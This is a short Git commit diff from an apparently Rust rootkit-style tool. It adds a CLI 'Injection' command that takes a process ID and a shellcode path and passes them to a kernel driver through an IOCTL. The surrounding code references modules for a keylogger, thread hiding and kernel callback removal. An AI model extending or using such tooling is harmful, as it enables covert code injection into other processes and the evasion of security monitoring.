Adding cli commands for injection functionality

This commit is contained in:
João
2024-07-26 19:47:45 -03:00
parent 92e03b0c8f
commit 75558980cc
2 changed files with 17 additions and 1 deletions

View File

@@ -107,6 +107,17 @@ pub enum Commands {
#[arg(long)]
restore: Option<usize>,
},
/// Operations related to Injection
Injection {
/// The process ID to injection.
#[arg(long, required = true)]
pid: u32,
/// Path containing the shellcode
#[arg(long, required = true)]
path: String
}
}
/// Enum representing the subcommands for process operations.

View File

@@ -11,7 +11,8 @@ use {
signature_process, terminate_process
},
thread::{enumerate_thread, hide_unhide_thread},
callback::{enumerate_callback, remove_callback, restore_callback}
callback::{enumerate_callback, remove_callback, restore_callback},
injection::injection_thread,
};
#[cfg(not(feature = "mapper"))]
@@ -22,6 +23,7 @@ mod driver;
mod process;
mod keylogger;
mod thread;
mod injection;
mod module;
#[cfg(not(feature = "mapper"))]
@@ -195,5 +197,8 @@ fn main() {
},
}
},
Commands::Injection { pid, path } => {
injection_thread(IOCTL_INJECTION, pid, path);
}
}
}